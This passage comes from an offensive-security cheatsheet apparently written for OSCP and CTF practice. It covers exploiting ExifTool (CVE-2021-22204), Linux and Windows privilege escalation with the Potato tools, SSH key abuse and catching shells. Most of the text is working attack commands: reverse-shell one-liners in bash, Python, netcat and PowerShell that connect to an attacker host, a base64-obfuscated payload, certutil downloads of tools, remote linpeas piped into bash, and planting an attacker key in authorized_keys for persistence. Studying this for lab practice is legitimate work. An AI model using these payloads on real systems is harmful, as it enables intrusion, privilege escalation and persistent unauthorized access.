sudo apt install djvulibre-bin
git clone https://github.com/UNICORDev/exploit-CVE-2021-22204
cd exploit-CVE-2021-22204
# Variant A: reverse shell built-in
python3 exploit-CVE-2021-22204.py -s $TUN0 $PORT
# Variant B: arbitrary command
python3 exploit-CVE-2021-22204.py -c '<cmd>'
Delivery:
# Attacker
python3 -m http.server 8888
rlwrap nc -lvnp $PORT
# Target (low-priv shell)
cd /writable/input/dir
curl -o pwn.jpg http://$TUN0:8888/image.jpg
# Wait up to 60s for cron, or trigger manually
Gotchas:
grep "jpg" (substring), not
extension validation. pwn.jpg, pwn.jpgx, foo.jpg.bar all match.djvulibre-bin probably isn't on the target.exiftool "$IMAGES/$filename" >> $LOG). The eval happens during
metadata parsing, before output redirection matters./usr/local/Distro binaries are vetted; bespoke ones under /usr/local/bin/ are where the
bugs live. Whenever you have a foothold, walk:
ls -la /usr/local/bin/ /usr/local/sbin/ /opt/
file /usr/local/bin/* 2>/dev/null
Anything that looks hand-rolled (not from a package, no man page, weird name) deserves the binary triage in 4.6.
# Identity & sudo
id; groups; sudo -l 2>/dev/null
# Filesystem capabilities
getcap -r / 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -writable -type d 2>/dev/null | grep -vE '^/(proc|sys|run|dev)'
# Process tree (cron, services running as other users)
ps auxwf
# Network
ss -tlnp; ss -tunap
ip a; ip r
# Users with shells
getent passwd | awk -F: '$7 !~ /(nologin|false)$/'
# Recent files (CTF clue locations)
ls -la /home/*/ /root/ /opt/ /tmp/ /var/tmp/ /srv/ 2>/dev/null
# Cron
cat /etc/crontab; ls -la /etc/cron.*/ 2>/dev/null
crontab -l; sudo crontab -l 2>/dev/null
# Pull linpeas if the above leaves gaps
curl http://$TUN0:8000/linpeas.sh | bash 2>/dev/null | tee /tmp/lp.out
Half of the public Redis/kernel/CVE exploits won't compile on a modern Kali without a header patch. The symptom:
module.c:23:29: error: implicit declaration of function 'strlen'
module.c:48:38: error: implicit declaration of function 'inet_addr'
Pre-gcc 10 issued warnings; gcc 10+ promotes them to errors. Fix:
sed -i '1i#include <string.h>\n#include <arpa/inet.h>' src/module.c
Carry the one-liner in your cheatsheet.
whoami /priv is the privesc decision treeAfter any Windows foothold, the first command is:
whoami /priv
The output drives the technique:
| Privilege | Technique |
|---|---|
SeImpersonatePrivilege | Potato family (see 5.2) |
SeBackupPrivilege | Dump SAM/SYSTEM/NTDS for offline cracking |
SeRestorePrivilege | Arbitrary file write |
SeTakeOwnershipPrivilege | File ACL games -> overwrite SYSTEM file |
SeDebugPrivilege | Token impersonation via process access |
SeLoadDriverPrivilege | Load malicious driver |
State doesn't matter. Enabled or Disabled both work for most of these.
What matters is whether the privilege is in the token at all. The
SeImpersonatePrivilege case is the most common - service accounts (IIS app
pools, MSSQL service, custom wamp\apache-style accounts) hold it by default
on most Windows versions.
The Potato attacks abuse DCOM/RPC to trigger an authentication callback from a SYSTEM-owned COM server, then impersonate the resulting SYSTEM token. Which Potato to use depends on the Windows version:
| Windows version | Tool |
|---|---|
| Server 2008 / 2008 R2 / 2012 / 2012 R2 / 2016 (pre-May 2020) | JuicyPotato |
| Server 2019 / 2022 / Windows 10 1809+ | PrintSpoofer or GodPotato |
| Modern with no Spooler | RoguePotato (needs external OXID resolver) |
:: Stage tools in a writable directory
certutil -urlcache -split -f http://%TUN0%/Juicy.exe Juicy.exe
certutil -urlcache -split -f http://%TUN0%/nc.exe nc.exe
:: Verify SeImpersonate is in the token
whoami /priv
:: Dry-run: confirm CLSID maps to a SYSTEM-owned COM server
.\Juicy.exe -z -c "{4991d34b-80a1-4291-83b6-3328366b9097}"
:: Prints the token user it would impersonate. Should be SYSTEM.
:: Fire
.\Juicy.exe -l 1337 ^
-c "{4991d34b-80a1-4291-83b6-3328366b9097}" ^
-p C:\Windows\System32\cmd.exe ^
-a "/c C:\Users\Public\nc.exe -e cmd.exe %TUN0% 1339" ^
-t *
-a takes a single argument string. If your command has spaces or its
own flags, quote the whole thing. Otherwise JuicyPotato gags on the
first inner -:
Bad : -a nc.exe -e cmd.exe <IP> 1339
Good: -a "/c nc.exe -e cmd.exe <IP> 1339"
The spawned program inherits a working directory you don't control (usually
system32). Use absolute paths inside -a for any binary or file you
reference:
-a "/c C:\Users\Public\nc.exe -e cmd.exe %TUN0% 1339"
-t * tries CreateProcessWithTokenW first, then CreateProcessAsUser.
Leave it as * unless one path is failing for a specific reason.
{4991d34b-80a1-4291-83b6-3328366b9097} - works on Server 2008/2008
R2/2012, the original ohpe default{0eac4842-...} or one from the
ohpe Server 2016 listAlways -z test first if unsure.
| Symptom | Cause |
|---|---|
Wrong Argument: - | Unquoted -a swallowing the next flag |
Authentication error / no callback | CLSID doesn't resolve to a SYSTEM service on this OS version. Try a different one. |
| Callback arrives but no shell | Spawned process cwd issue (use absolute paths) or nc.exe not staged |
Token user is not SYSTEM in -z test | Wrong CLSID for this OS, move on |
PrintSpoofer.exe -i -c "C:\Users\Public\nc.exe -e cmd.exe %TUN0% 1339"
GodPotato is the newer .NET-based alternative; works through Server 2022.
MaxAuthTries trap$ ssh -i keys/root [email protected]
Received disconnect from 127.0.0.1 port 22:2: Too many authentication failures
This is the SSH gotcha that derails the most OSCP candidates. The mechanism:
ssh by default offers every key it can find - keys loaded into a
running ssh-agent, plus default identity files (~/.ssh/id_rsa,
~/.ssh/id_ecdsa, ~/.ssh/id_ed25519, etc.)MaxAuthTries,
default 6) before disconnecting-i <key>, the agent's identities are tried first.
By the time your -i key gets offered, the server has already capped you.In a typical exploitation flow, you've probably dropped one or two of your own keys (for the foothold), and the target user has SSH state of their own, which is enough to blow past the threshold before the key you wanted to use ever gets tried.
IdentitiesOnly yes + IdentityAgent noneTwo options solve this cleanly. Prefer inline (leaves no artifact on the box):
ssh -i keys/root -o IdentitiesOnly=yes -o IdentityAgent=none [email protected]
What they do:
IdentitiesOnly yes - only offer identities explicitly passed via -i or
IdentityFile, never the agent or defaultsIdentityAgent none - disable the SSH-agent socket for this sessionIf you need it persistent, drop into ~/.ssh/config:
cat > ~/.ssh/config <<'EOF'
Host *
IdentitiesOnly yes
IdentityAgent none
EOF
Internalize the full incantation:
ssh -i <key> -o IdentitiesOnly=yes -o IdentityAgent=none user@host
A few seconds typing the flags is faster than debugging "Too many authentication failures" mid-exam.
sshd_config frequently sets PermitRootLogin prohibit-password (or no)
for external interfaces but accepts key-based root login from loopback. If a
found root key fails against the external IP, get a foothold and try it
against 127.0.0.1 from inside the box.
# From inside the box, after foothold:
ssh -i keys/root -o IdentitiesOnly=yes -o IdentityAgent=none [email protected]
This is why a "useless" root key found via LFI is sometimes the actual privesc path - it just needs to be used from the right network position.
Whenever you land a new shell - at any privilege level - drop your public key
into the user's authorized_keys before doing anything else:
USER_KEY='ssh-ed25519 AAAA...your_pubkey... attacker'
mkdir -p ~/.ssh && chmod 700 ~/.ssh
grep -qxF "$USER_KEY" ~/.ssh/authorized_keys 2>/dev/null \
|| echo "$USER_KEY" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
# Verify from Kali
ssh -i ~/.ssh/<box_key> <user>@$IP id
Why this matters:
If you find an SSH key at ~/.ssh/keys/id_rsa rather than the canonical
~/.ssh/id_rsa, the directory itself is telling you something: the user
manages keys for multiple identities. Read every file in that directory, not
just the canonical filename.
When you do, you'll often find keys named after their intended target:
id_rsa_server1, production_key, or - the gold case - root.
Finding a private key in someone's .ssh/ directory does not mean it
grants access to that account. The key only grants access wherever its
corresponding public key is in an authorized_keys file. Always try the key,
and when it fails, drop the assumption and move on rather than burning cycles
on it.
| Listener | When |
|---|---|
nc -lvnp <port> | Unambiguous baseline; raw bytes only |
rlwrap nc -lvnp | Adds readline history, arrow keys |
penelope -i tun0 -p <port> | Auto PTY upgrades, logging, multi-session, file transfer |
pwncat-cs -lp <port> | Persistence, port forwards, modules |
msfconsole exploit/multi/handler | Required for any windows/* or meterpreter payload |
When debugging "no callback," regress to plain nc -lvnp - strips out framing
assumptions and tells you whether any TCP byte arrived.
penelope automatically upgrades incoming shells to a full PTY. This means
only feed it raw shells. A pre-ptied connection (your payload already
called pty.spawn) causes penelope's upgrade routine to double-fire and hang.
| Catcher | Payload type |
|---|---|
penelope | Raw shells only: bash -c 'bash -i >& /dev/tcp/...', nc -e, raw socket-dup payloads |
rlwrap nc | Anything, no auto-upgrade |
Linux:
# Plain bash (works on most modern Linux with bash 4+ /dev/tcp)
bash -c 'bash -i >& /dev/tcp/$TUN0/$PORT 0>&1'
# Python raw socket (works when /dev/tcp is unavailable)
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("$TUN0",$PORT));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/bash","-i"])'
# nc (only on traditional/openbsd netcat)
nc -e /bin/bash $TUN0 $PORT
# mkfifo (universal fallback)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $TUN0 $PORT >/tmp/f
Windows:
:: netcat (if you staged nc.exe)
nc.exe -e cmd.exe %TUN0% %PORT%
:: PowerShell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('%TUN0%',%PORT%);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbytes = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbytes,0,$sendbytes.Length);$stream.Flush()};$client.Close()"
For complex quoting situations (RCE wrappers, salt-stack, web exploits with single-quote-escaping pain), use base64:
PAYLOAD=$(echo -n 'bash -i >& /dev/tcp/$TUN0/$PORT 0>&1' | base64 -w0)
# Send: bash -c "{echo,${PAYLOAD}}|{base64,-d}|bash"
When passing a shell payload through an RCE wrapper (like a SaltStack PoC, web
exploit -c parameter, etc.), quoting nesting matters more than payload
content. The default rules:
# Single quotes inside double quotes - SAFE
./exploit.py --execute "bash -c 'bash -i >& /dev/tcp/$TUN0/$PORT 0>&1'"
# Double quotes inside double quotes - BREAKS (f-string / shell expansion conflicts)
./exploit.py --execute "bash -c \"bash -i >& /dev/tcp/$TUN0/$PORT 0>&1\""
# Double single quotes - RUNS LOCALLY, not on the target
./exploit.py --execute ''cmd''
# bash treats this as: empty string + cmd + empty string
If quoting becomes intractable, base64 the payload (see 7.3) and let the remote shell decode it.
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl-Z to suspend
stty raw -echo; fg
# Inside the resumed shell:
export TERM=xterm-256color
stty rows 50 columns 200
What this gets you:
If a shell "doesn't come back" after firing an RCE:
# Step 1 - test code execution at all (ICMP, lighter than TCP)
# On Kali:
sudo tcpdump -i tun0 icmp
# Via the exploit:
exploit --execute "ping -c 3 $TUN0"
# Hits in tcpdump -> code exec works
# No hits -> exec is broken, not the shell
# Step 2 - test outbound TCP on your chosen port
exploit --execute "curl http://$TUN0:8000/test"
# On Kali: python3 -m http.server 8000
# Hits -> shell payload is the problem
# No hits -> TCP egress filtered, use HTTP/ICMP exfil
This three-step ladder (ICMP -> HTTP -> shell) saves time vs guessing at payload format when the real problem is firewall/egress.
Built into 2.2 already, but worth restating because it's the single most
common time sink. zFTPServer admin:admin tested late after 18 minutes of
hydra on basic auth is the canonical example. Enumerate -> grab every
banner -> Google <product> default credentials for each service -> only
then brute force.
A basic-auth realm string like "Qui e nuce nuculeum esse volt, frangit nucem!" ("he who wants the kernel must crack the nut") reads like a
brute-force invitation. It's almost always a thematic flourish, not an
enumeration hint. Realm/quote/banner cuteness is not a brute-force
invitation. Test other services first.
Covered in 2.5. The single most-impactful web reflex: when a primitive exists
in one parameter on one endpoint, check whether other endpoints honor it too.
Path traversal in cwd on download = half a vulnerability. Same cwd on
upload = the whole vulnerability.
Covered in 2.6. When LFI lands, immediately test what you can't read. The denials tell you what user the process runs as, which dictates whether your subsequent file-write primitives will be honored.
Covered in 2.7. Whenever LFI lands, enumerate every file you'll need later -
~/.ssh/ (entire directory), /etc/crontab, application configs, recent log
files. Pre-stage privesc targets before the foothold.
/usr/local/Covered in 4.10. Distro binaries are vetted; bespoke ones are where the bugs
live. strings is the first stop.
A patched-looking web UI does not mean every listener bound by the same product is patched. Web-UI version is the IIS-side build only - the .NET Remoting service is a separate binary listener and is frequently left running on patched-looking installs. If a known legacy port is still open, try the legacy exploit even if the version says no.
When a recent CVE only ships a detection script, walk the product's CVE history backwards - older RCEs are usually weaponized and may still apply to the same code paths.
Knowing which payload to fire at which catcher is exam-time tradecraft.
Penelope auto-upgrades raw shells - feeding it a pre-ptied connection
breaks it. rlwrap nc is the bulletproof fallback but doesn't auto-upgrade.
Choose deliberately.
Drop your pubkey at every privilege level immediately. The exam clock makes a 10-second SSH login dramatically better than a 10-minute exploit chain replay.
"SSH-key write failed because the Redis daemon runs as an unexpected user with no writable .ssh directory" is
more useful than "SSH-key write didn't work." The dead-ends are the
methodology. When you encounter the same product later, the recorded reason
saves you from repeating the same mistake.
The gcc-includes fix for RedisModules-ExecuteCommand saves future-you 5
minutes - but only if it's in the cheatsheet, not buried in a per-box
writeup. Same goes for any one-liner that worked when the obvious one didn't.
script -f session.log at the start of every engagement, or tee everything
to a file. Reconstructing from memory is how typos and made-up commands sneak
into compendiums. Then they don't work when you actually need them.
OSCP exam allows one machine to use Metasploit (with limited modules). Mark every technique in your personal notes by whether it works without msf - saves panic on test day.
TimeoutError on a reverse-shell trigger is not failureMany exploit wrappers (Redis rogue master, salt-stack runners, web RCE
PoCs) expect their executed command to return. A reverse-shell payload
doesn't return - it hands control to the listener. The wrapper's TimeoutError
or "command hung" traceback is expected, not a failure. Check the listener
before assuming the exploit didn't fire.
When the exam clock is ticking and you want zero installation friction:
penelope.py - primary listenerlinpeas.sh, winpeas.exe, linenum.shpspy64 - process monitor without rootBloodHound, BloodHound-CE, SharpHoundcertipy-ad, impacket-* suite, evil-winrm, nxc/netexecchisel, ligolo-ng - pivotingferoxbuster, ffuf, gobusterhashcat, johnResponder for ADpwntools (Python) + GDB with pwndbg/pedaROPgadget, one_gadget, pwninitJuicyPotato.exe, PrintSpoofer.exe, GodPotato.exe, nc.exe (Windows side)Keep these statically built or pre-downloaded so reverting your machine
doesn't cost you 20 minutes of apt install.
$apr1$ - https://httpd.apache.org/docs/2.4/misc/password_encryptions.htmlEnd of compendium.